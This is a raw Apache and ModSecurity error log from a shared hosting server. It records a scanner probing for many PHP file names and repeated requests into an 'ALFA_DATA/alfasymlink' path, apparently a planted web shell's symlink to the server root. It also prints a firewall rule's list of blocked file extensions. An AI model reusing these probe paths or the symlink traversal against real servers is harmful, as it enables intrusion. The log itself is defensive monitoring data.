[Mon Oct 26 20:26:51.174126 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:56902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_vwIU8RArHmY5bTmWvKQAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 20:26:54.176637 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 184.72.95.195:25040] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:59.665747 2026] [core:crit] [pid 3098116:tid 3098116] (13)Permission denied: [client 130.12.180.212:33196] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 20:27:14.209340 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 184.72.95.195:33880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/firmware_node/device:1f/subsystem/drivers/tpm_crb/uevent
[Mon Oct 26 20:27:22.267725 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.210.29.96:27778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:27:26.238164 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.192.67.98:56368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:27:34.195544 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 34.204.150.196:52245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input1/subsystem/event1/subsystem/input3/device/driver/module/uevent
[Mon Oct 26 20:27:38.368694 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.163.136.244:36966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:27:42.182956 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 44.221.105.234:29825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:27:46.176534 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.231.77.232:55987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:27:53.525082 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:53.583362 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:53.649783 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:53.695950 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:53.716381 2026] [security2:error] [pid 3122515:tid 3122515] [client 20.151.218.88:44617] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/wp-gans.php"] [unique_id "at_wCf9ZN9W71fUwv43PvAAAAAA"]
[Mon Oct 26 20:27:53.716450 2026] [security2:error] [pid 3122515:tid 3122515] [client 20.151.218.88:44617] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/wp-gans.php"] [unique_id "at_wCf9ZN9W71fUwv43PvAAAAAA"]
[Mon Oct 26 20:27:53.737108 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:53.791161 2026] [security2:error] [pid 3122515:tid 3122515] [client 20.151.218.88:44617] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/csss.php"] [unique_id "at_wCf9ZN9W71fUwv43PvQAAAAA"]
[Mon Oct 26 20:27:53.791201 2026] [security2:error] [pid 3122515:tid 3122515] [client 20.151.218.88:44617] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/csss.php"] [unique_id "at_wCf9ZN9W71fUwv43PvQAAAAA"]
[Mon Oct 26 20:27:53.812496 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:53.900868 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.024334 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.105121 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.149428 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.200317 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.246852 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.373030 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.413969 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.504456 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.547017 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.587582 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.636008 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.678186 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.738366 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.779672 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.821726 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.898663 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:54.954790 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.006674 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.047450 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.088305 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.154789 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.217857 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.269116 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.316016 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.408152 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.449564 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.495556 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.536074 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.602001 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.707623 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.763145 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.814685 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.873505 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.928062 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:55.982930 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.032079 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.032580 2026] [security2:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/simple.php"] [unique_id "at_wDKFL9aMETz-8AU8hSwAAAAQ"]
[Mon Oct 26 20:27:56.032611 2026] [security2:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/simple.php"] [unique_id "at_wDKFL9aMETz-8AU8hSwAAAAQ"]
[Mon Oct 26 20:27:56.083645 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.145813 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.185349 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.227977 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.268343 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.311798 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.372514 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.503100 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.562609 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.606989 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.670181 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.733303 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.794564 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.835304 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.893239 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.933955 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:56.974475 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.024151 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.064450 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.105194 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.151767 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.201023 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.246109 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.294554 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.335003 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.389503 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.457338 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.532805 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.573178 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:57.962681 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.218729 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 52.1.106.130:28355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/virtio2/driver/uevent
[Mon Oct 26 20:27:58.231168 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.285842 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.326290 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.366345 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.449908 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.450391 2026] [security2:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/lowfile.php"] [unique_id "at_wDqFL9aMETz-8AU8hegAAAAQ"]
[Mon Oct 26 20:27:58.450411 2026] [security2:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic5.sherwinpinturas.com"] [uri "/lowfile.php"] [unique_id "at_wDqFL9aMETz-8AU8hegAAAAQ"]
[Mon Oct 26 20:27:58.520478 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.586069 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.627478 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.667929 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.735456 2026] [proxy_fcgi:error] [pid 3083765:tid 3083765] [client 20.151.218.88:59978] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.867168 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:58.908292 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.082190 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.135123 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.175884 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.248115 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.293881 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.346692 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.409145 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.468643 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.558719 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.671176 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.765799 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.814020 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.862442 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:27:59.956497 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.012216 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.068683 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.118659 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.172188 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.233364 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.288057 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.359651 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.434441 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:00.535565 2026] [proxy_fcgi:error] [pid 3098116:tid 3098116] [client 20.151.218.88:44610] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:28:14.300375 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.207.69.106:32877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:28:18.440284 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.225.98.148:54528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:28:30.205752 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.215.59.93:30546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:28:34.218242 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.210.58.238:1425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:28:46.355153 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 98.83.10.183:64458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:28:50.185137 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.202.52.82:3018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:28:58.188786 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.200.54.136:2315] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:29:04.512910 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.18:57582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/sanity_checks
[Mon Oct 26 20:29:06.347700 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.208.223.68:19428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:29:14.689266 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 18.205.91.101:11111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:29:30.237153 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.223.134.5:20023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:29:31.665142 2026] [security2:error] [pid 3098116:tid 3098116] [client 45.171.120.22:58844] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/wapisimox1.log"] [unique_id "at_wazS1e-yu7xYT1dr8ggAAAAk"], referer: https://parkeranders.com/
[Mon Oct 26 20:29:31.665681 2026] [security2:error] [pid 3098116:tid 3098116] [client 45.171.120.22:58844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/wapisimox1.log"] [unique_id "at_wazS1e-yu7xYT1dr8ggAAAAk"], referer: https://parkeranders.com/
[Mon Oct 26 20:29:31.666801 2026] [security2:error] [pid 3098116:tid 3098116] [client 45.171.120.22:58844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_wazS1e-yu7xYT1dr8ggAAAAk"], referer: https://parkeranders.com/
[Mon Oct 26 20:29:38.186872 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.87.62.248:62802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:29:47.220510 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:56902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_wb4U8RArHmY5bTmWvNgAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 20:29:47.220567 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:56902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_wb4U8RArHmY5bTmWvNgAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 20:29:54.218741 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.236.135.14:41392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:30:04.869281 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.8:36740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/poison
[Mon Oct 26 20:30:08.566559 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.203:52498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/destroy_by_rcu
